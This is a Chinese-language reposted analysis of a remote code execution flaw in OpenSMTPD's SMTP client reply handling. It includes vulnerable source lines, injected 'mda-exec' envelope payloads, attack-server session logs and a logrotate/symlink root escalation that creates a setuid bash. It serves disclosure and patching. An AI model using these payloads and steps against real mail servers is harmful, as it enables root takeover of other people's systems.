热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

OpenBSDSMTP漏洞分析报告

安全人员在OpenBSDSMTP中发现了一个存在长达4年的漏洞,攻击者可利用该漏洞远程执行代码,多个linux发行版本受到影响。近期在OpenBSD邮件服务器中发现了一个漏洞。此漏洞是在2015年12月引入的因为此漏洞位于OpenSMTPD的客户端代码中,需要

安全人员在OpenBSD SMTP中发现了一个存在长达4年的漏洞,攻击者可利用该漏洞远程执行代码,多个 linux 发行版本受到影响。

综述

近期在OpenBSD邮件服务器中发现了一个漏洞。此漏洞是在2015年12月引入的 越界读取commit 80c6a60c )。攻击者可远程利用该漏洞,在18年5月前可以非root权限执行任意 shell 命令, 2018年5月之后(commit a8e22235)可以root权限执行shell命令。

因为此漏洞位于OpenSMTPD的客户端代码中,需要考虑两个不同的情况:

客户端利用

在OpenSMTPD(因此也是OpenBSD)的默认配置中可以远程利用此漏洞。OpenSMTPD仅监听本地主机,默认情况下,它接受来自本地用户的邮件并将其传递到远程服务器。如果远程服务器是被攻击者控制,攻击者可以在存在漏洞的OpenSMTPD上执行任意shell命令。

服务器端利用

首先,攻击者必须连接到OpenSMTPD服务器(该服务器接受外部邮件)并发送bounce邮件。当OpenSMTPD重新连接到邮件服务器传递bounce时,攻击者可以利用OpenSMTPD的客户端漏洞。攻击者必须使OpenSMTPD崩溃并等待它重新启动后才能执行命令。

影响版本

安全人员已针对漏洞开发利用程序与补丁,漏洞存在版本:OpenBSD 6.6(当前版本),OpenBSD 5.9,Debian 10(稳定版),Debian 11(测试版)和Fedora 31。

漏洞分析

SMTP客户端连接到SMTP服务器并发送EHLO、MAIL FROM和RCPT TO等命令。SMTP服务器以单行或多行回复:

第一行以三位数代码和连字符(’-')开头,后跟可选文本(例如,“250-ENHANCEDSTATUSCODES”);

最后一行以相同的三位数代码开头,后跟可选空格(’ ‘)和文本(例如,“250 HELP”)。

在OpenSMTPD的客户端代码中,这些多行应答由mta_io()函数处理:

1098 static void
1099 mta_io(struct io *io, int evt, void *arg)
1100 {
....
1133         case IO_DATAIN:
1134             nextline:
1135                 line = io_getline(s->io, &len);
....
1146                 if ((error = parse_smtp_response(line, len, &msg, &cont))) {

第一行 (when line[3] == ‘-’)会链接到一个大小为2KB的replybuf:

1177                 if (cont) {
1178                         if (s->replybuf[0] == '\0')
1179                                 (void)strlcat(s->replybuf, line, sizeof s->replybuf);
1180                         else {
1181                                 line = line + 4;
....
1187                                         (void)strlcat(s->replybuf, line, sizeof s->replybuf);
1188                         }
1189                         goto nextline;
1190                 }

最后一行 (when line[3] != ‘-’) 会链接到replybuf:

1195                 if (s->replybuf[0] != '\0') {
1196                         p = line + 4;
....
1201                         if (strlcat(s->replybuf, p, sizeof s->replybuf) >= sizeof s->replybuf)

如果最后一行的三位数代码后面没有可选的空格和文本,p(在1196行)指向’\0′后的第一个字符,越界字符串链接到repeatbuf(在第1201行)。

如何利用越界读取执行命令

1、在 回复的最后一行 精确控制“越界”字符串,OpenSMTPD会 以块为单位 读取我们的回复,而不是逐字符读取。如果发送的最后为”xyz\nstring\0″,“ string”会链接到repeatbuf中。

2、如果回复的三位数代码表示暂时错误(4yz)或永久错误(5yz),则Replybuf的内容会写入”errorline”字段并尝试传递邮件。

3、邮件基本形式为: “ field:data \ n”,构造好的越界字符串(写入”errorline”字段)可以包含“ \ n”字符:因此可以在邮件中插入新一行内容并更改OpenSMTPD的行为。

客户端漏洞利用

可直接利用客户端漏洞,等待OpenSMTPD连接到服务器,利用多行应答创建 bounce并注入以下内容:

type: mda
mda-exec: shell command
dispatcher: local_mail
mda-user: root

“local_mail”是OpenSMTPD的本地调度器的名称(默认配置),当OpenSMTPD尝试传递bounce时,MDA命令会立即执行,因为注入内容已将其类型从MTA(Message Transfer Agent)更改为MDA(Message Delivery Agent),示例如下:

首先,在OpenBSD机器上,本地用户发送一封邮件(其中“[192.168.56.1]”是攻击者邮件服务器的IP地址)

$ id
uid=1001(john) gid=1001(john) groups=1001(john)

$ echo test | /usr/sbin/sendmail '[email protected][192.168.56.1]'

在攻击者邮件服务器上:

# ./ent-of-line
...
Connection from 192.168.56.104:39404
...
<-- MAIL FROM:<[email protected]>
--> 553-Error
--> 553

type:mda
mda-exec:X=`mktemp /tmp/x.XXXXXX`&&id>>$X;exit 0
dispatcher:local_mail
mda-user:root

最后在OpenBSD机器上会执行命令:

# cat /tmp/x.*
uid=0(root) gid=0(wheel) groups=0(wheel)

服务器端漏洞利用

服务器端漏洞利用更为复杂,需要面对三个问题:

1、漏洞代码位于客户端而不是服务端,因此需要连接到OpenSMTPD服务器,通过发送邮件生成bounce,等待OpenSMTPD回连到自己的邮件服务器。

2、不能利用‘permanent error’回复bounce消息,服务器会直接丢弃(double bounce),因此可以利用‘temporary error’回复并注入内容。

3、 OpenSMTPD不会立刻执行注入的MDA命令,bounce会在其MTA队列之中而不是MDA队列,因此需要使 OpenSMTPD服务崩溃从而导致内存丢失,重启后就会立刻执行MDA中的命令。

示例如下:

首先在攻击者邮件服务器中(”192.168.56.104″为OpenBSD机器,”192.168.56.1″为攻击者邮件服务器,“[email protected]”是OpenBSD计算机上的有效邮件地址):

# ./ent-of-line 192.168.56.104 '[email protected][192.168.56.1]' [email protected]
...
Connected to 192.168.56.104:25
...
--> MAIL FROM:<[email protected][192.168.56.1]>
<-- 250 2.0.0 Ok
--> RCPT TO:<[email protected]> NOTIFY=SUCCESS
<-- 250 2.1.5 Destination address valid: Recipient ok
...
Connection from 192.168.56.104:40061
...
<-- MAIL FROM:<>
--> 421-Error
--> 421

type:mda
mda-exec:X=`mktemp /tmp/x.XXXXXX`&&id>>$X;exit 0
dispatcher:local_mail
mda-user:root

Connected to 192.168.56.104:25
...
--> MAIL FROM:<[email protected][192.168.56.1]>
<-- 250 2.0.0 Ok
--> RCPT TO:<[email protected]> NOTIFY=SUCCESS
<-- 250 2.1.5 Destination address valid: Recipient ok
...
Connection from 192.168.56.104:20037
...
<-- MAIL FROM:<>
--> 421-Error
--> 421

type:invalid

OpenBSD计算机中(管理员重启OpenSMTPD前后):

# cat /tmp/x.*
cat: /tmp/x.*: No such file or directory

# rcctl restart smtpd
smtpd(ok)

# cat /tmp/x.*
uid=0(root) gid=0(wheel) groups=0(wheel)

旧版本漏洞利用

在旧版本的利用方式如下,注入内容为:

type: mda
mda-buffer: our arbitrary shell command
mda-method: mda
mda-user: nobody
mda-usertable: 

首先攻击者邮件服务器中:(”192.168.56.141″是Debian计算机,”192.168.56.1″是攻击者邮件服务器, “ [email protected] ”是 Debian 计算机上的有效邮件地址

# ./ent-of-line -u nobody 192.168.56.141 '[email protected][192.168.56.1]' [email protected]
...
Connected to 192.168.56.141:25
...
--> MAIL FROM:<[email protected][192.168.56.1]>
<-- 250 2.0.0: Ok
--> RCPT TO:<[email protected]> NOTIFY=SUCCESS
<-- 250 2.1.5 Destination address valid: Recipient ok
...
Connection from 192.168.56.141:35378
...
<-- MAIL FROM:<>
--> 421-Error
--> 421

type:mda
mda-buffer:X=`mktemp /tmp/x.XXXXXX`&&id>>$X;exit 0
mda-method:mda
mda-user:nobody
mda-usertable:

Connected to 192.168.56.141:25
...
--> MAIL FROM:<[email protected][192.168.56.1]>
<-- 250 2.0.0: Ok
--> RCPT TO:<[email protected]> NOTIFY=SUCCESS
<-- 250 2.1.5 Destination address valid: Recipient ok
...
Connection from 192.168.56.141:35380
...
<-- MAIL FROM:<>
--> 421-Error
--> 421

type:invalid

Debian重启前后:

# cat /tmp/x.*
cat: '/tmp/x.*': No such file or directory

# systemctl restart opensmtpd.service

# cat /tmp/x.*
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)

Debian中(攻击者攻击中含有‘nobody’命令):

$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)

$ mkdir -m 0700 /tmp/maildir
$ cd /tmp/maildir

$ ln -s /etc tmp
$ ln -s /etc/logrotate.d new

$ /usr/sbin/sendmail '[email protected][192.168.56.1]' <<'EOF'
/var/log/lastlog {
    missingok
    rotate 1
    nomail
    size 1
    copy
    firstaction
        cp -f /bin/bash /var/log && chmod 04555 /var/log/bash
    endscript
}
EOF

在攻击者服务器中:

# ./ent-of-line -m /tmp/maildir
...
Connection from 192.168.56.141:35382
...
<-- MAIL FROM:<[email protected]>
--> 553-Error
--> 553

type:mda
mda-buffer:/tmp/maildir
mda-method:maildir
mda-user:root
mda-usertable:

最后在Debian机器中:

$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)

$ /var/log/bash -p

# id
uid=65534(nobody) gid=65534(nogroup) euid=0(root) groups=65534(nogroup)

建议

OpenSMTPD 6.6.4p1中发布了 安全修复程序 。在OpenBSD上可以通过运行“syspatch”命令打上补丁,并重启OpenSMTPD服务。

*参考来源: qualys ,由Kriston编译,转载请注明来自FreeBuf.COM


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 我们


推荐阅读
  • 重入锁(ReentrantLock)学习及实现原理
    本文介绍了重入锁(ReentrantLock)的学习及实现原理。在学习synchronized的基础上,重入锁提供了更多的灵活性和功能。文章详细介绍了重入锁的特性、使用方法和实现原理,并提供了类图和测试代码供读者参考。重入锁支持重入和公平与非公平两种实现方式,通过对比和分析,读者可以更好地理解和应用重入锁。 ... [详细]
  • 本文介绍了Java高并发程序设计中线程安全的概念与synchronized关键字的使用。通过一个计数器的例子,演示了多线程同时对变量进行累加操作时可能出现的问题。最终值会小于预期的原因是因为两个线程同时对变量进行写入时,其中一个线程的结果会覆盖另一个线程的结果。为了解决这个问题,可以使用synchronized关键字来保证线程安全。 ... [详细]
  • 李逍遥寻找仙药的迷阵之旅
    本文讲述了少年李逍遥为了救治婶婶的病情,前往仙灵岛寻找仙药的故事。他需要穿越一个由M×N个方格组成的迷阵,有些方格内有怪物,有些方格是安全的。李逍遥需要避开有怪物的方格,并经过最少的方格,找到仙药。在寻找的过程中,他还会遇到神秘人物。本文提供了一个迷阵样例及李逍遥找到仙药的路线。 ... [详细]
  • 先看官方文档TheJavaTutorialshavebeenwrittenforJDK8.Examplesandpracticesdescribedinthispagedontta ... [详细]
  • JDK源码学习之HashTable(附带面试题)的学习笔记
    本文介绍了JDK源码学习之HashTable(附带面试题)的学习笔记,包括HashTable的定义、数据类型、与HashMap的关系和区别。文章提供了干货,并附带了其他相关主题的学习笔记。 ... [详细]
  • Java太阳系小游戏分析和源码详解
    本文介绍了一个基于Java的太阳系小游戏的分析和源码详解。通过对面向对象的知识的学习和实践,作者实现了太阳系各行星绕太阳转的效果。文章详细介绍了游戏的设计思路和源码结构,包括工具类、常量、图片加载、面板等。通过这个小游戏的制作,读者可以巩固和应用所学的知识,如类的继承、方法的重载与重写、多态和封装等。 ... [详细]
  • 本文介绍了Python高级网络编程及TCP/IP协议簇的OSI七层模型。首先简单介绍了七层模型的各层及其封装解封装过程。然后讨论了程序开发中涉及到的网络通信内容,主要包括TCP协议、UDP协议和IPV4协议。最后还介绍了socket编程、聊天socket实现、远程执行命令、上传文件、socketserver及其源码分析等相关内容。 ... [详细]
  • Iamtryingtomakeaclassthatwillreadatextfileofnamesintoanarray,thenreturnthatarra ... [详细]
  • SpringBoot uri统一权限管理的实现方法及步骤详解
    本文详细介绍了SpringBoot中实现uri统一权限管理的方法,包括表结构定义、自动统计URI并自动删除脏数据、程序启动加载等步骤。通过该方法可以提高系统的安全性,实现对系统任意接口的权限拦截验证。 ... [详细]
  • 本文介绍了Redis的基础数据结构string的应用场景,并以面试的形式进行问答讲解,帮助读者更好地理解和应用Redis。同时,描述了一位面试者的心理状态和面试官的行为。 ... [详细]
  • Java容器中的compareto方法排序原理解析
    本文从源码解析Java容器中的compareto方法的排序原理,讲解了在使用数组存储数据时的限制以及存储效率的问题。同时提到了Redis的五大数据结构和list、set等知识点,回忆了作者大学时代的Java学习经历。文章以作者做的思维导图作为目录,展示了整个讲解过程。 ... [详细]
  • 阿,里,云,物,联网,net,core,客户端,czgl,aliiotclient, ... [详细]
  • JavaSE笔试题-接口、抽象类、多态等问题解答
    本文解答了JavaSE笔试题中关于接口、抽象类、多态等问题。包括Math类的取整数方法、接口是否可继承、抽象类是否可实现接口、抽象类是否可继承具体类、抽象类中是否可以有静态main方法等问题。同时介绍了面向对象的特征,以及Java中实现多态的机制。 ... [详细]
  • eclipse学习(第三章:ssh中的Hibernate)——11.Hibernate的缓存(2级缓存,get和load)
    本文介绍了eclipse学习中的第三章内容,主要讲解了ssh中的Hibernate的缓存,包括2级缓存和get方法、load方法的区别。文章还涉及了项目实践和相关知识点的讲解。 ... [详细]
  • 前景:当UI一个查询条件为多项选择,或录入多个条件的时候,比如查询所有名称里面包含以下动态条件,需要模糊查询里面每一项时比如是这样一个数组条件:newstring[]{兴业银行, ... [详细]
author-avatar
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有